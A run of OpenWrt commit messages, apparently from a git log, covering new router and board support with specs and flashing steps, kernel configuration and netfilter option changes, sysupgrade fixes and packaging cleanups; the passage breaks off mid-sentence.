Signed-off-by: Nuno Goncalves <nunojpg@gmail.com>
[remove dts-v1, remove model from LED labels, wrap commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Move CPU_TYPE:=24kc (32-bit) from the top-level target makefile to the
be/le subtarget makefiles, which is consistent with the 64-bit subtargets.
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
Hardware:
- SoC: Lantiq VRX 220
- CPU: 2x MIPS 34Kc 500 MHz
- RAM: 128 MiB 250 MHz
- Flash: 128 MiB NAND
- Ethernet: Built-in Fast Ethernet switch, 4 ports used
- Wifi: Atheros AR9381-AL1A b/g/n with 2 pcb/internal and 1 external antennas
- USB: 1x USB 2.0
- DSL: Built-in A/VDSL2 modem
- DECT: Dialog SC14441
- LEDs: 1 two-color, 4 one-color
- Buttons: 1x DECT, 1x WIFI
- Telephone connectors: 1 FXS port via TAE or RJ11 connector
With the exception of FXS/DECT everything works
(there are no drivers for AVM's FXS or DECT implementation),
DSL is yet untested.
Installation:
Boot up the device and wait a few seconds. Run the eva_ramboot.py script
in scripts/flashing/ to load the initramfs image on the device:
$ ./scripts/flashing/eva_ramboot.py 192.168.178.1 <path to your initramfs image>
If the script fails to reach the device, maybe try 169.254.120.1.
Wait until booting is complete. You should now be able to reach your device
under the default ip address 192.168.1.1.
Before flashing, check if linux_fs_start is not set to 1 in the tffs partition:
$ fritz_tffs_nand -d /dev/mtd1 -n linux_fs_start
If linux_fs_start is 1, you will need to reset it to 0, either by FTP,
upgrading FritzOS or doing a recovery.
Now you should be able to flash the device using sysupgrade.
Signed-off-by: Leon Maurice Adam <leon.adam@aol.de>
Acked-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
[drop BOARD_NAME, use wpad-basic-wolfssl, drop 4.19, drop dts-v1,
remove model prefix from LED names]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
At the moment, bcm63xx creates one patch for each board to add to
board_bcm963xx.c. While this is not really helpful to get an overview
in the first place, it is particularly painful if you want to change
something for an early file and have to refresh all the later patches
accordingly.
Since it does not look like these board patches are upstreamed either,
this commit consolidates all board additions into one patch per "board".
By this, both adding and editing boards should become much simpler,
and we drop about 1300 lines of "code" from patches as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This supports upgrade from ar71xx for the recently added Qxwlan
devices E1700AC v2, E558 v2, E750A v4 and E750G v8.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
All octeon devices use the same or a very similar way to backup
and restore configuration.
We expect to have more devices added and in order to stop
repeating ourselves move the logic to a separate function.
While at it, add a few checks.
Signed-off-by: Roman Kuzmitskii <damex.pp@icloud.com>
[commit message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For IPv6 native connections when using IPv6 DNS lookups, there is no
valid default resolver if ignoring WAN DHCP provided nameservers.
This uses a runtime check to determine if IPv6 is supported on the host.
Signed-off-by: Joel Johnson <mrjoel@lixil.net>
The block protection bits of macronix do not match the implementation.
The chip has 3 BP bits. Bit 5 is actually the third BP but here the
5th bit is SR_TB. Therefore the patch adds SR_TB to the mask. In the
4.19er kernel the whole register was simply set to 0.
The wrong implementation did not remove the block protection. This led
to jffs2 errors in the form of:
"jffs2: Newly-erased block contained word 0x19852003 at offset 0x..."
This caused inconsistent memory and other errors.
Suggested-by: David Bauer <mail@david-bauer.net>
Signed-off-by: Nick Hainke <vincent@systemli.org>
This moves a few shared variables for SD-Boot devices into common
definitions in order to reduce duplicate code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
At this moment layerscape images are ext4 only. It causes problem with
save changes durring sysupgrade and make "firstboot" and failsafe mode
useless.
This patch changes sd-card images to squashfs + f2fs combined images.
To make place, for saving config, kernel space ar now ext4 partition
with fit kernel.
This method of image generation is similar to rest of OpenWrt sd-card
targets.
Reviewed-by: Yangbo Lu <yangbo.lu@nxp.com>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[reword README, reword DEVICE_COMPAT_MESSAGE, keep original indent]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
At this moment platform_copy_config function is used for every device
and function "export_partdevice" without "export_bootdevice" causes
multiple errors like that:
"sh: 1: unknown operand"
This patch fix usage of export_partdevice and split platform_copy_config
for sd-card images.
Fixes: 0841b68c91 ("layerscape: support sysupgrade for SD card ext4
rootfs")
Reviewed-by: Yangbo Lu <yangbo.lu@nxp.com>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
At this moment sysupgrade replaces only kernel and rootfs.
This patch add dtb part to sysupgrade images to avoid situation
when old dtb make system broken.
Is possible to sysupgrade older images for NOR devices:
1. Firmware partition in bootargs need to be updated to:
"49m@0xf00000(firmware)". Env should be saved after changes.
2. After step one, "sysupgrade -F" will work.
Run tested: LS1046A-RDB
Reviewed-by: Yangbo Lu <yangbo.lu@nxp.com>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[bump PKG_RELEASE for uboot-layerscape]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, kernel has not been written correctly to SD card during
sysupgrade, as both target path and offset were wrong.
This patch fixes it, and adds some descriptive output on the way.
Fixes: 0841b68c91 ("layerscape: support sysupgrade for SD card ext4
rootfs")
Reviewed-by: Yangbo Lu <yangbo.lu@nxp.com>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[alter/extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ntpd in packages feed had already a user 'ntp' with UID 123 declared.
Rename the username of busybox-ntpd to be 'ntp' instead of 'ntpd' so
it doesn't clash.
Reported-by: Etienne Champetier <champetier.etienne@gmail.com>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
In 4.14 the delays were not cleared, so setting "rgmii" as phy-mode
did not affect delays set by the bootloader. With 5.4 kernel the
situation changed and the ethernet interface stopped working.
Just taking the ethernetpart from the litebeam ac gen2 will fix
the issue.
Explained-by: David Bauer <mail@david-bauer.net>
Signed-off-by: Nick Hainke <vincent@systemli.org>
Specifications:
- SoC: MT7621AT
- RAM: 256MB
- Flash: 16MB (EN25QH128A)
- Ethernet: 5xGbE
- WiFi: MT7915 2x2 2.4G 573.5Mbps + 2x2 5G 1201Mbps
Known issue:
MT7915 DBDC variant isn't supported yet.
Flash instruction:
Upload the sysupgrade firmware to the firmware upgrade page in
vendor fw.
Other info:
MT7915 seems to have two PCIEs connected to MT7621. Card detected on
PCIE0 has an ID of 14c3:7916 and the other one on PCIE1 has 14c3:7915.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Kernel commit 1ac89d20150e ("netfilter: nat: merge nf_nat_redirect into
nf_nat") made the redirect module part of the nat core and changed the
CONFIG_NF_NAT_REDIRECT option to a boolean, without prompt, affecting
kernel 4.18 onwards. CONFIG_NF_NAT_REDIRECT now can only be selected by
CONFIG_NFT_REDIR or NETFILTER_XT_TARGET_REDIRECT
Fixes: FS#2476
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=2476
Fixes: FS#2990 (partial)
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=2990
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
[note that the option has no prompt and can only be selected by other
kconfig options]
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
It was removed in upstream linux commit faec18db ("netfilter: nat:
remove l4proto->manip_pkt"). This happened since linux 5.0
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Kernel commit 22fc4c4c9fd6 ("netfilter: conntrack: gre: switch module to
be built-in") moved the CT GRE code into the core nf_conntrack.ko module
and changed the CONFIG_NF_CT_PROTO_GRE option to boolean for kernel 5.1
and onwards.
CONFIG_NF_CT_PROTO_GRE at the moment has no prompt and can only be
selected by NF_CONNTRACK_PPTP
Fixes: FS#2990 (partial)
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=2990
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
[note that the option now can not be enabled on its own]
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Upstream linux 5.1 commit d1aca8ab ("netfilter: nat: merge ipv4 and ipv6
masquerade functionality") replaces the following 2 options
- CONFIG_NF_NAT_MASQUERADE_IPV4
- CONFIG_NF_NAT_MASQUERADE_IPV6
with CONFIG_NF_NAT_MASQUERADE. The new option is one without prompt and
will be selected by CONFIG_NETFILTER_XT_TARGET_MASQUERADE introduced
still later in 5.2.
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
The upstream linux commit is 3bf195ae ("netfilter: nat: merge
nf_nat_ipv4,6 into nat core"). It was included since linux 5.1
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
CONFIG_IP_NF_TARGET_REDIRECT is a compat option since upstream commit
2cbc78a2 ("netfilter: combine ipt_REDIRECT and ip6t_REDIRECT"). That
happened since linux 3.10
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
CONFIG_IP_NF_TARGET_MASQUERADE and its counterpart
CONFIG_IP6_NF_TARGET_MASQUERADE are "backwards-compat option for the
user's convenience"
Related commit d22c1755 ("netfilter: fix NAT packaging with kernels
5.2+")
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Changelog follows
ced0d535 build: find and use libnl header dirs
5722218e proto: rework parse_addr to return struct device_addr
3d7bf604 device_addr: record address index as in the blob
24ce1eab interface: proto_ip: order by address index first
This bump mainly affects order of interface addresses in ubus output. At the
moment dnsmasq uses first address of an interface for setting dhcp-range option
in its config
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Add procd-ujail and procd-seccomp to DEFAULT_PACKAGES if not building
for space-constraint (FEATURES:=small_flash) targets.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Unify capability handling to only use OCI spec parsers even for ujail
slim containers which previously supposedly used their own format.
80c9516 cgroups: restrict allowed keys in 'unified' section
5ade567 cgroups: memory controller fixes
3121467 early: run ubusd non-root as user ubus, group ubus
12a5b97 jail: adapt to new ubus socket path
788d144 instance: actually wire up capabilities filename
ebc5a7f jail: nuke old capabilities code in favour of reusing OCI code
6c5233a jail: capabilities: apply in two phases
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Move /var/run/ubus.sock to /var/run/ubus/ubus.sock in preparation for
having ubusd run as non-root user.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Rather than unconditionally adding busybox and procd to the set of
default packages, add busybox-selinux and procd-selinux in case
CONFIG_SELINUX is set.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
rt2800 olny gives you survey for current channel.
Survey-based ACS algorithms are failing to perform their job when working
with rt2800.
Make rt2800 save survey for every channel visited and be able to give away
that information.
There is a bug registred https://dev.archive.openwrt.org/ticket/19081 and
this patch solves the issue.
Signed-off-by: Markov Mikhail <markov.mikhail@itmh.ru>
All modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x/R7800, ath79/generic, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
TP-Link RE200 v4 is a wireless range extender with Ethernet and 2.4G and 5G
WiFi with internal antennas.
It's based on MediaTek MT7628AN+MT7610EN like the v2/v3.
Specifications
--------------
- MediaTek MT7628AN (580 Mhz)
- 64 MB of RAM
- 8 MB of FLASH
- 2T2R 2.4 GHz and 1T1R 5 GHz
- 1x 10/100 Mbps Ethernet
- 8x LED (GPIO-controlled), 2x button
- UART connection holes on PCB (57600 8n1)
There are 2.4G and 5G LEDs in red and green which are controlled
separately.
MAC addresses
-------------
The MAC address assignment matches stock firmware, i.e.:
LAN : *:8E
2.4G: *:8D
5G : *:8C
MAC address assignment has been done according to the RE200 v2.
The label MAC address matches the OpenWrt ethernet address.
Installation
------------
Web Interface
-------------
It is possible to upgrade to OpenWrt via the web interface. Simply flash
the -factory.bin from OEM. In contrast to a stock firmware, this will not
overwrite U-Boot.
Recovery
--------
Unfortunately, this devices does not offer a recovery mode or a tftp
installation method. If the web interface upgrade fails, you have to open
your device and attach serial console.
Instructions for serial console and recovery may be checked out in
commit 6d6f36ae78 ("ramips: add support for TP-Link RE200 v2") or on
the device's Wiki page.
Signed-off-by: Richard Fröhning <misanthropos@gmx.de>
[removed empty line, fix commit message formatting]
Signed-off-by: David Bauer <mail@david-bauer.net>
The target uses 5.4 as default kernel since 06/2020.
Kernel 4.19 support is not really maintained anymore, it does not
seem to be needed and upcoming changes (mainly DSA) will break
backward-compatibility anyway.
Thus, make maintaining of old stuff and reviewing of new stuff
easier by removing support for kernel 4.19.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Pci is broken when bootm is used instead of the custom bootipq. This
is caused by the lack of reset by the bootloader. Make the driver do
the reset to fix this specific problem.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
The target uses 5.4 as default kernel since 04/2020.
Kernel 4.19 support is not really maintained anymore, and there has
been a lot of changes between 4.19 and 5.4 on this target. Despite,
new devices are typically added for 5.4 only anyway.
Thus, make maintaining of old stuff and reviewing of new stuff
easier by removing support for kernel 4.19.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The target uses 5.4 as default kernel since 03/2020.
Kernel 4.19 support is not really maintained anymore, it does not
seem to be needed, and removing it will make upcoming driver
updates easier. Thus, remove it.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* add d-link_dgs-1210-10p support
* make sure mips16 is disabled
* add a generic sub target
* add proper cflags
Signed-off-by: John Crispin <john@phrozen.org>
The board was renamed without changing the BUILD_DEVICES in the U-Boot
Makefile, this broken the build.
Fixes: 0830ae3a2f ("sunxi: Correct manufacturer name to Sinovoip")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Specification:
- CPU: Allwinner H3, Quad-core Cortex-A7 Up to 1.2GHz
- DDR3 RAM: 512MB/1GB
- Network:
10/100/1000M Ethernet x 1,
10/100M Ethernet x 1
- WiFi: 802.11b/g/n, with SMA antenna interface
- USB Host: Type-A x2
- MicroSD Slot x 1
- MicroUSB: for OTG and power input
- Debug Serial Port: 3Pin 2.54mm pitch pin-header
- LED:
nanopi:red:status
nanopi:green:wan
nanopi:green:lan
- KEY:
reset
- Power Supply: DC 5V/2A
Installation:
- Write the image to SD Card with dd
- Boot NanoPi from the SD Card
Signed-off-by: Jayantajit Gogoi <jayanta.gogoi525@gmail.com>
E1700AC v2 based on Qualcomm/Atheros QCA9563 + QCA9880.
Specification:
- 750/400/250 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 8/16 MB of FLASH (SPI NOR)
- 3T3R 2.4 GHz
- 3T3R 5 GHz
- 2 x 10/1000M Mbps Ethernet (RJ45)
- 1 x MiniPCI-e
- 1 x SIM (3G/4G)
- 1 x USB 2.0 Port
- 5 x LED , 2 x Button(S8-Reset Buttun), 1 x power input
- UART (J5) header on PCB (115200 8N1)
Flash instruction:
1.Using tftp mode with UART connection and original LEDE image
- Configure PC with static IP 192.168.1.10 and tftp server.
- Rename "openwrt-ar71xx-generic-xxx-squashfs-sysupgrade.bin"
to "firmware.bin" and place it in tftp server directory.
- Connect PC with one of LAN ports, power up the router and press
key "Enter" to access U-Boot CLI.
- Use the following commands to update the device to LEDE:
run lfw
- After that the device will reboot and boot to LEDE.
- Wait until all LEDs stops flashing and use the router.
2.Using httpd mode with Web UI connection and original LEDE image
- Configure PC with static IP 192.168.1.xxx(2-255) and tftp server.
- Connect PC with one of LAN ports,press the reset button, power up
the router and keep button pressed for around 6-7 seconds, until
leds flashing.
- Open your browser and enter 192.168.1.1,You will see the upgrade
interface, select "openwrt-ar71xx-generic-xxx-squashfs-
sysupgrade.bin" and click the upgrade button.
- After that the device will reboot and boot to LEDE.
- Wait until all LEDs stops flashing and use the router.
Signed-off-by: 张鹏 <sd20@qxwlan.com>
[cut out of bigger patch, keep swconfig, whitespace fixes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Qxwlan E558 v2 is based on Qualcomm QCA9558 + AR8327.
Specification:
- 720/600/200 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 8/16 MB of FLASH (SPI NOR)
- 2T2R 2.4 GHz (QCA9558)
- 3x 10/100/1000 Mbps Ethernet (one port with PoE support)
- 4x miniPCIe slot (USB 2.0 bus only)
- 1x microSIM slot
- 5x LED (4 driven by GPIO)
- 1x button (reset)
- 1x 3-pos switch
- 1x DC jack for main power input (9-48 V)
- UART (JP5) and LEDs (J8) headers on PCB
Flash instruction:
1.Using tftp mode with UART connection and original LEDE image
- Configure PC with static IP 192.168.1.10 and tftp server.
- Rename "openwrt-ar71xx-generic-xxx-squashfs-sysupgrade.bin"
to "firmware.bin" and place it in tftp server directory.
- Connect PC with one of LAN ports, power up the router and press
key "Enter" to access U-Boot CLI.
- Use the following commands to update the device to LEDE:
run lfw
- After that the device will reboot and boot to LEDE.
- Wait until all LEDs stops flashing and use the router.
2.Using httpd mode with Web UI connection and original LEDE image
- Configure PC with static IP 192.168.1.xxx(2-255) and tftp server.
- Connect PC with one of LAN ports,press the reset button, power up
the router and keep button pressed for around 6-7 seconds, until
leds flashing.
- Open your browser and enter 192.168.1.1,You will see the upgrade
interface, select "openwrt-ar71xx-generic-xxx-squashfs-
sysupgrade.bin" and click the upgrade button.
- After that the device will reboot and boot to LEDE.
- Wait until all LEDs stops flashing and use the router.
Signed-off-by: 张鹏 <sd20@qxwlan.com>
[cut out of bigger patch, keep swconfig, whitespace adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Qxwlan E750G v8 is based on Qualcomm QCA9344 + QCA9334.
Specification:
- 560/450/225 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 8/16 MB of FLASH (SPI NOR)
- 2T2R 2.4G GHz (AR9344)
- 2x 10/100/1000 Mbps Ethernet (one port with PoE support)
- 7x LED (6 driven by GPIO)
- 1x button (reset)
- 1x DC jack for main power input (9-48 V)
- UART (J23) and LEDs (J2) headers on PCB
Flash instruction:
1.Using tftp mode with UART connection and original LEDE image
- Configure PC with static IP 192.168.1.10 and tftp server.
- Rename "openwrt-ar71xx-generic-xxx-squashfs-sysupgrade.bin"
to "firmware.bin" and place it in tftp server directory.
- Connect PC with one of LAN ports, power up the router and press
key "Enter" to access U-Boot CLI.
- Use the following commands to update the device to LEDE:
run lfw
- After that the device will reboot and boot to LEDE.
- Wait until all LEDs stops flashing and use the router.
2.Using httpd mode with Web UI connection and original LEDE image
- Configure PC with static IP 192.168.1.xxx(2-255) and tftp server.
- Connect PC with one of LAN ports,press the reset button, power up
the router and keep button pressed for around 6-7 seconds, until
leds flashing.
- Open your browser and enter 192.168.1.1,You will see the upgrade
interface, select "openwrt-ar71xx-generic-xxx-squashfs-
sysupgrade.bin" and click the upgrade button.
- After that the device will reboot and boot to LEDE.
- Wait until all LEDs stops flashing and use the router.
Signed-off-by: 张鹏 <sd20@qxwlan.com>
[cut out of bigger patch, keep swconfig]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
After the status rework, ieee80211_tx_status_ext is leaking un-acknowledged
packets for stations in powersave mode.
To fix this, move the code handling those packets from __ieee80211_tx_status
into ieee80211_tx_status_ext
Reported-by: Tobias Waldvogel <tobias.waldvogel@gmail.com>
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This reverts commit ef7c34c1d1.
The commit seems to break all buildbots with messages like:
/builder/shared-workdir/build/include/toplevel.mk:15:
/builder/shared-workdir/build/include/toplevel-vars.mk: No such file or directory
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
version_abbrev uses $(shell) and the ?= is causing make to run the command
over and over again, causing a significant build slowdown
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The code is now much cleaner and works better than the old code.
Preparation for submitting it upstream (though with a different API)
Also add back MT7621 support and fix flow table coherence issues on
MT7622
Signed-off-by: Felix Fietkau <nbd@nbd.name>
In order to make it easier for users to build with SELinux, have a
single option in 'Global build settings' to enable all necessary
kernel features, userland packages and build-system hooks.
Also add better descriptions and help messages while at it.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
8e0f29a mount: remove support for legacy overlayfs before v2.3
0f8a443 mount: fix log format string and indentation
46a56d3 overlay: use precompiler macros for reoccuring path names
f25ab8a mount: apply SELinux labels before overlayfs mount
Total ipk size change (ipq40xx): +120b
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Instead of duplicating the '/sbin/setfiles' binary, have
'/sbin/restorecon' as yet another alias for
'/sbin/policycoreutils-setfiles'.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Expose WPS ubus API only if compiled with WPS support and add new
handler for wps_status call.
Also add '-v wps' option to check whether WPS support is present in
hostapd.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Qxwlan E750A v4 is based on Qualcomm QCA9344.
Specification:
- 560/450/225 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 8/16 MB of FLASH (SPI NOR)
- 2T2R 5G GHz (AR9344)
- 2x 10/100 Mbps Ethernet (one port with PoE support)
- 1x miniPCIe slot (USB 2.0 bus only)
- 7x LED (6 driven by GPIO)
- 1x button (reset)
- 1x DC jack for main power input (9-48 V)
- UART (J23) and LEDs (J2) headers on PCB
Flash instruction:
1.Using tftp mode with UART connection and original LEDE image
- Configure PC with static IP 192.168.1.10 and tftp server.
- Rename "openwrt-ar71xx-generic-xxx-squashfs-sysupgrade.bin"
to "firmware.bin" and place it in tftp server directory.
- Connect PC with one of LAN ports, power up the router and press
key "Enter" to access U-Boot CLI.
- Use the following commands to update the device to LEDE:
run lfw
- After that the device will reboot and boot to LEDE.
- Wait until all LEDs stops flashing and use the router.
2.Using httpd mode with Web UI connection and original LEDE image
- Configure PC with static IP 192.168.1.xxx(2-255) and tftp server.
- Connect PC with one of LAN ports,press the reset button, power up
the router and keep button pressed for around 6-7 seconds, until
leds flashing.
- Open your browser and enter 192.168.1.1,You will see the upgrade
interface, select "openwrt-ar71xx-generic-xxx-squashfs-
sysupgrade.bin" and click the upgrade button.
- After that the device will reboot and boot to LEDE.
- Wait until all LEDs stops flashing and use the router.
Signed-off-by: Peng Zhang <sd20@qxwlan.com>
[cut out of bigger patch, alter use of DEVICE_VARIANT, merge case
in 01_leds, use lower case for v4]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Like in the previous patches for various targets, this removes
the "devicename" from LED labels in rtl838x, as it's useless and
only creates complexity.
Since the target is fresh and so far only system LEDs were added,
this does not add a migration script.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The syntax of the shared SoC DTSI file determines the DTS version,
so no need to repeat the "/dts-v1/;" identifier in every file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The idea of commit a14f5bb4bd was to use wpad-basic-wolfssl
consistently throughout the whole trunk, so use it here as well.
Fixes: 50fdddae05 ("BPi-M2U kernel modules for onboard WiFi")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fix wrong magic number verification for FW files.
Correct handling of external RTL8218B firmware PHY name in firmware.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
build: always build package/kernel/linux
If no in-tree module packages are selected, the build system does not process
package/kernel/linux. This package is required for building the virtual
'kernel' package, which is specified as a dependency for all kernel packages.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The router profile installs many packages unnecessary for
the operation of a typical ethernet switch. Instead of creating
an empty switch profile upfront, use the basic profile until
a set of common packages crystallizes.
Signed-off-by: Andreas Oberritter <obi@saftware.de>
Fixes long delay on boot when booting from flash. The driver waits
for one minute for userspace to load firmware, before it becomes
available.
Signed-off-by: Andreas Oberritter <obi@saftware.de>
This adds basic support for reading the internal PHYs of the RTL839x SoCs
and full support for the 2 PHYs connected to the 1000Base-X SerDes of
the RTL8393 SoC.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
This adds correct interrupt routing settings for IRQs on the RTL839x SoCs.
It also speeds up irq handling based on work by biot for all SoCs.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
The vDSO is used to accelerate some syscalls. It should work fine wherever it's
available, so enable it globally for all targets.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
Specification
CPU: Allwinner H3, Quad-core Cortex-A7 Up to 1.2GHz
DDR3 RAM: 256MB/512MB
Connectivity: 10/100/1000Mbps Ethernet
USB Host: Type-A x 1
MicroSD Slot x 1
MicroUSB: for power input only
Debug Serial Port: 4Pin, 2.54 mm pitch pin header
Power Supply: DC 5V/2A
PCB Dimension: 40 x 40 x 1.2mm
Installation:
Burn the image file to an SD Card with dd or any image burning tool
Boot ZeroPi from the SD Card
The following features are working and tested:
Ethernet port 10/100/1000M Ethernet
Remarks: SBC is mostly compatible and boots with FriendlyARM NanoPI M1 plus DTS also (zeropi has no working hdmi)
Signed-off-by: Arturas Moskvinas <arturas.moskvinas@gmail.com>
Tested on a A20 board:
$ cat /proc/asound/cards
0 [SPDIF ]: On-board_SPDIF - On-board SPDIF
On-board SPDIF
Size of the module for a 32bit kernel:
60708 linux-5.4.66/sound/soc/sunxi/sun4i-spdif.ko
Signed-off-by: Andre Heider <a.heider@gmail.com>
Size of the modules for a Cortex A7 build:
43920 linux-5.4.66/sound/soc/codecs/snd-soc-spdif-rx.ko
44044 linux-5.4.66/sound/soc/codecs/snd-soc-spdif-tx.ko
Signed-off-by: Andre Heider <a.heider@gmail.com>
Mainline u-boot dynamically passes the mtd partitions via devicetree:
$ cat /proc/mtd
dev: size erasesize name
mtd0: 003f0000 00001000 "firmware"
mtd1: 00010000 00001000 "u-boot-env"
Add support for this setup.
Signed-off-by: Andre Heider <a.heider@gmail.com>
The generic bootscript is tailored around a downstream firmware and
doesn't work on a firmware built from mainline components.
Add a bootscript which:
* sets $console since mainline u-boot doesn't do that
* uses distro boot variables, so OpenWRT can be booted off any supported
device when using a mainline firmware
* sets missing distro boot variables for the downstream firmware
Booting with a downstream firmware is unchanged.
Booting with a mainline firmware now works.
Signed-off-by: Andre Heider <a.heider@gmail.com>
This option is now activated in the generic kernel configuration, no
need to do it for a specific package.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This config option was moved to the generic kernel configuration.
Fixes: ab1bd57656 ("kernel: move F2FS_FS_XATTR and F2FS_STAT_FS symbols to generic")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
u-boot binaries are not useful for these boards, they need to be combined
with atf for a proper firmware.
Signed-off-by: Andre Heider <a.heider@gmail.com>
u-boot binaries for this SoC are only required for the atf package,
disable them per default so they don't get build unnecessarily.
Signed-off-by: Andre Heider <a.heider@gmail.com>
correct oversight on setting regulatory country and mac address of wireless configuration
change method of retrieving mac address
The MAC address for eth0 is rad out of the devinfo partition in some
other initial configuration script already.
Signed-off-by: Kabuli Chana <newtownBuild@gmail.com>
correct device CC oversight
Set the initial wifi configuration like for the other similar Linksys
devices.
Signed-off-by: Kabuli Chana <newtownBuild@gmail.com>
This commit contains patches for PCI aardvark driver and relevant DTS
changes for Turris MOX and EspressoBin backported from mainline kernel.
It fixes support for old ATF, various wifi cards, mainly Compex WLE900VX.
Signed-off-by: Pali Rohár <pali@kernel.org>
Explicitly set the QEMU cpu type and support the MIPS R2 ISA, for both
64-bit and 32-bit targets. The later previously supported MIPS R2 by
implicit default.
This is needed after commit 93608697f3 ("malta: update MIPS64 ISA to R2"),
otherwise booting malta images with scripts/qemustart will hang.
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
Usage of current R1 ISA is inconsistent with the MIPS32 subtarget, little
used and has limited utility for testing.
Many distros target a minimum R2 ISA. Debian MIPS 32-bit/64-bit ports all
use MIPS R2 ISA since Stretch, for example. Fedora's MIPS arch also targets
the R2 ISA for 32-bit/64-bit.
Widely used MIPS64 platforms like Octeon are based on the MIPS R2 ISA or
later, and benefit from having a compatible test platform in OpenWRT.
While Linux does support MIPS64 R1 targets, its usefulness for development
and testing is limited. As an example, the modern Linux eBPF JIT requires
a MIPS R2 ISA or later.
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
[Refresh config and fix README]
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
If you compile first libaudit library and then trace-cmd package,
compilations fails with:
Package trace-cmd is missing dependencies for the following libraries:
libaudit.so.1
If you enable libaudit for trace-cmd, it will show system name calls while using command profile.
Try to be slim as much as possible - libaudit .ipk has 42,4 kB.
Signed-off-by: Josef Schlehofer <pepe.schlehofer@gmail.com>
libzstd from the packages feed gets picked up. Remove it.
Fixes:
Package perf is missing dependencies for the following libraries:
libzstd.so.1
Signed-off-by: Rosen Penev <rosenp@gmail.com>
For this package CFLAGS have to be passed via EXTRA_CFLAGS.
On arm this bug causes build to fail because no -fPIC is present in CFLAGS.
Signed-off-by: Marek Behún <kabel@blackhole.sk>
This package fails with a strange error when building with musl when NLS
is enabled. The configuration thinks that libelf is not present, even
though DEPENDS contains +libelf, because when NLS is enabled, libelf.so
depends on libintl, and the correct LDFLAGS are missing for
libintl-full. This then causes the configuration script to check for
glibc, but this fails because we are using musl.
Signed-off-by: Marek Behún <kabel@blackhole.sk>
The "/dts-v1/;" identifier is supposed to be present once at the
top of a device tree file after the includes have been processed.
Like done for other targets recently, put the dts-v1 statement
into the top-level SoC-based DTSI files, and remove all other
occurences.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
After the LED labels have been made more general by removing
the model names, we can move several definitions to DTSI files
to reduce the amount of duplicate code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Like in the previous patches for various targets, this will remove
the "devicename" from LED labels in bcm63xx, as it's useless and
only creates complexity.
The devicename is removed in DTS files and 01_leds, merging
